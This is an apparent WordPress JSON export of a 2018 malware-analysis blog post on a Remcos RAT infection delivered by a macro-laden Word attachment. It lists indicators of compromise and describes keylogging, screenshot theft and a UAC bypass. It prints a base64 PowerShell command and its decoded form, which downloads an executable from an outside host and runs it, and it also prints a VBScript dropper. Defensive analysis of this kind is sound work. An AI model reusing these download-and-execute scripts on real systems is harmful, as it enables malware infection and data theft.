{"id":1073,"date":"2018-02-18T07:56:47","date_gmt":"2018-02-18T07:56:47","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1073"},"modified":"2018-02-18T07:56:47","modified_gmt":"2018-02-18T07:56:47","slug":"2018-02-17-remcos-rat-from-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1073","title":{"rendered":"2018-02-17 Remcos RAT from malspam"},"content":{"rendered":"

Earlier this morning I came across some emails that had a subject line that caught my attention. They were all from the same sender and all of them had the same maldoc attached to them. From what I can tell this looks to be related to the REMCOS RAT as documented by Fortinet here<\/a>. The interesting tidbit with this one was the fact that it was keylogging and also taking screenshots of my desktop as well from time to time. As usual, for any of the PCAPs, ProcMon logs, and artifacts that I managed to capture, check out the Github repo located here<\/a>. I also uploaded the maldoc to AnyRun which you can see here<\/a>.<\/p>\n

***Note: The last time I checked the domain telebotdb[.]tk was wide open and was allowing anyone to traverse through the site. I was not able to find anything much outside of the file “Twin.exe.”<\/p>\n

\"\"<\/a><\/p>\n

\"\"<\/a><\/p>\n

IOCs:
\n=====
\ntelebotdb[.]tk \/ 136[.]243.226[.]141 (GET \/Lift\/Payment_output2ED76B0.exe)
\n84[.]38.135[.]152:49195 (TCP)<\/p>\n

Artifacts:
\n==========
\nFile name: Payment_book2.doc
\nFile size: 131KB
\nFile path: NA
\nMD5 hash: 52d9f3297467bfb88971fcc4d8285911
\nVirustotal: http:\/\/www.virustotal.com\/en\/file\/e1be7ddffbb9bd02a2e0abb2fa403b51a22e836c95698d2be9c3347b83da0c46\/analysis\/<\/a>
\nDetection ratio: 6 \/ 59
\nFirst Detected: 2018-02-16 17:40:03 UTC
\nHybrid Analysis: http:\/\/www.hybrid-analysis.com\/sample\/e1be7ddffbb9bd02a2e0abb2fa403b51a22e836c95698d2be9c3347b83da0c46?environmentId=100<\/a><\/p>\n

File name: Payment_output2ED76B0.exe \/ bxPZAxDnDdsUBPSQmv.exe
\nFile size: 588KB
\nFile path: C:\\Users\\%username%\\
\nMD5 hash: d803d66949ef2f42155e4136a37fddd2
\nVirustotal: http:\/\/www.virustotal.com\/en\/file\/5fabd58b9f449d92146053acaa89a1ceb8290ce4a942adafba4cb9365f3f17ba\/analysis\/<\/a>
\nDetection ratio: 17 \/ 68
\nFirst Detected: 2018-02-17 02:57:40 UTC<\/p>\n

File name: Newfile.exe
\nFile size: 588KB
\nFile path: C:\\Users\\%username%\\AppData\\Roaming\\remcos\\
\nMD5 hash: d803d66949ef2f42155e4136a37fddd2
\nVirustotal: http:\/\/www.virustotal.com\/en\/file\/5fabd58b9f449d92146053acaa89a1ceb8290ce4a942adafba4cb9365f3f17ba\/analysis\/<\/a>
\nDetection ratio: 17 \/ 68
\nFirst Detected: 2018-02-17 02:57:40 UTC<\/p>\n

File name: logs.dat
\nFile size: Varies
\nFile path: C:\\Users\\%username%\\AppData\\Roaming\\remcos\\
\nMD5 hash: 718b8c8c91247793717a3cd755ad150c
\nVirustotal: NA<\/p>\n

File name: Twin.exe (I found this by crawling the domain)
\nFile size: 637KB
\nFile path: Unknown
\nMD5 hash: 55e033ebbc318fdbc1edaad07df2f5d4
\nVirustotal: NA<\/p>\n

Analysis:
\n=========
\nBelow is the overview on how this malware executed on my VM.<\/p>\n

\"\"<\/a><\/p>\n

Once the user opens the malicious Word document and enables the macro and runs it, the macro proceeds to trigger cmd.exe to run a PoSH script to get the malicious binary. Below is the original PoSH script base64 encoded:<\/p>\n

\r\ncmd & \/C CD C: & PowerShell -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAAdwBJAG4AUwBqAEcAdgBhAEMARwBKAGkAZwBPAEsAegBrACAAKAAgACQAeQB0AGMAeQBmAHgAaQBqAEUASABkAGoAUwByAHkAdwBVAHIAeQBHAFUAWgBOAGkAZwBwAEkAYQBSACAALAAgACQAYwBFAEoAdwBrAGgAcQBNAHIAUQBMAEUAagBmAHoAUwAgACkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIAAkAHkAdABjAHkAZgB4AGkAagBFAEgAZABqAFMAcgB5AHcAVQByAHkARwBVAFoATgBpAGcAcABJAGEAUgAgACwAIAAkAGMARQBKAHcAawBoAHEATQByAFEATABFAGoAZgB6AFMAIAApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAYwBFAEoAdwBrAGgAcQBNAHIAUQBMAEUAagBmAHoAUwAgACkAOwAgAH0ADQAKAHQAcgB5AHsADQAKAA0ACgAkAE8ASgB4AEUAaQBhAG8AWABxAGkAcQB0AG8AbwBXAD0AJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABiAHgAUABaAEEAeABEAG4ARABkAHMAVQBCAFAAUwBRAG0AdgAuAGUAeABlACcAOwANAAoAdwBJAG4AUwBqAEcAdgBhAEMARwBKAGkAZwBPAEsAegBrACAAJwBoAHQAdABwADoALwAvAHQAZQBsAGUAYgBvAHQAZABiAC4AdABrAC8ATABpAGYAdAAvAFAAYQB5AG0AZQBuAHQAXwBvAHUAdABwAHUAdAAyAEUARAA3ADYAQgAwAC4AZQB4AGUAJwAgACQATwBKAHgARQBpAGEAbwBYAHEAaQBxAHQAbwBvAFcAOwANAAoADQAKAH0AYwBhAHQAYwBoAHsAfQA=<\/pre>\n
which once decoded is the following:<\/p>\n
\r\nfunction wInSjGvaCGJigOKzk ( $ytcyfxijEHdjSrywUryGUZNigpIaR , $cEJwkhqMrQLEjfzS )\r\n{\r\n\t(New-Object System.Net.WebClient).DownloadFile( $ytcyfxijEHdjSrywUryGUZNigpIaR , $cEJwkhqMrQLEjfzS );\r\n\t(New-Object -com Shell.Application).ShellExecute( $cEJwkhqMrQLEjfzS );\r\n}\r\n\r\ntry\r\n{\r\n\t$OJxEiaoXqiqtooW=$env:USERPROFILE+'\\bxPZAxDnDdsUBPSQmv.exe';\r\n\twInSjGvaCGJigOKzk 'http:\/\/telebotdb.tk\/Lift\/Payment_output2ED76B0.exe' $OJxEiaoXqiqtooW;\r\n}\r\ncatch{}<\/pre>\n
\"\"<\/a><\/p>\n
Once the file “Payment_output2ED76B0.exe” has been downloaded, copied to the “C:\\Users\\%username%\\” path, renamed to “bxPZAxDnDdsUBPSQmv.exe,” and finally executed, it proceeded to use the UAC bypass that SANS discussed here (http:\/\/isc.sans.edu\/forums\/diary\/Malicious+Office+files+using+fileless+UAC+bypass+to+drop+KEYBASE+malware\/22011\/) in order to get the malware to run as seen below from ProcMon:<\/p>\n
\"\"<\/a><\/p>\n
It is here that I was not able to obtain the “install.vbs” script located in the “C:\\Users\\%username%\\AppData\\Local\\Temp\\” folder on my VM, but using AnyRun I was able to get it. There appeared to be an attempt (perhaps) at an anti-sandbox trick at the beginning of the script (WScriptSleep 1000 – maybe fat-fingered). It then proceeded to delete the file “bxPZAxDnDdsUBPSQmvexe” and create the file (Newfileexe) in the “C:\\Users\\%username%\\AppData\\Roaming\\remcos\\” path.<\/p>\n
\r\nWScriptSleep 1000\r\nSet fso = CreateObject("ScriptingFileSystemObject")\r\nfsoDeleteFile "C:\\Users\\%username%\\bxPZAxDnDdsUBPSQmvexe"\r\nCreateObject("WScriptShell")Run "cmd \/c ""C:\\Users\\%username%\\AppData\\Roaming\\remcos\\Newfileexe""", 0\r\nfsoDeleteFile(WscriptScriptFullName)<\/pre>\n
Once the “Newfile.exe” process was up and running, it spawned a couple of other processes (iexplore.exe and svchost.exe) in what appeared to be another UAC bypass. It was also responsible for the keylogging\/screengrab capability:<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
along with communicating back to the IP address of 84.38.135.152 using port 49195 to ship back what was in the “logs.dat” file and any screengrabs from the “C:\\Users\\%username%\\AppData\\Roaming\\Screenshots” folder. <\/p>\n
\"\"<\/a><\/p>\n
I also noticed when looking at the ProcMon logs using the FILES_WRITTEN filter that there were two different INI files that were modified. I am not sure what had been modified but found this interesting as I have never seen this before. Both files look to be exactly the same though.<\/p>\n
\"\"<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Earlier this morning I came across some emails that had a subject line that caught my attention. They were all from the same sender and all of them had the same maldoc attached to them. From what I can tell this looks to be related to the REMCOS RAT as documented by Fortinet here. The interesting tidbit with this one was the fact that it was keylogging and also taking screenshots of my desktop as well from time to time. As usual, for any of the PCAPs, ProcMon logs, and artifacts that I managed to capture, check out the Github…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":1074,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[21,20],"class_list":["post-1073","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-packet-analysis","tag-rat","tag-remcos-rat"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1073","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1073"}],"version-history":[{"count":1,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1073\/revisions"}],"predecessor-version":[{"id":1084,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1073\/revisions\/1084"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/media\/1074"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}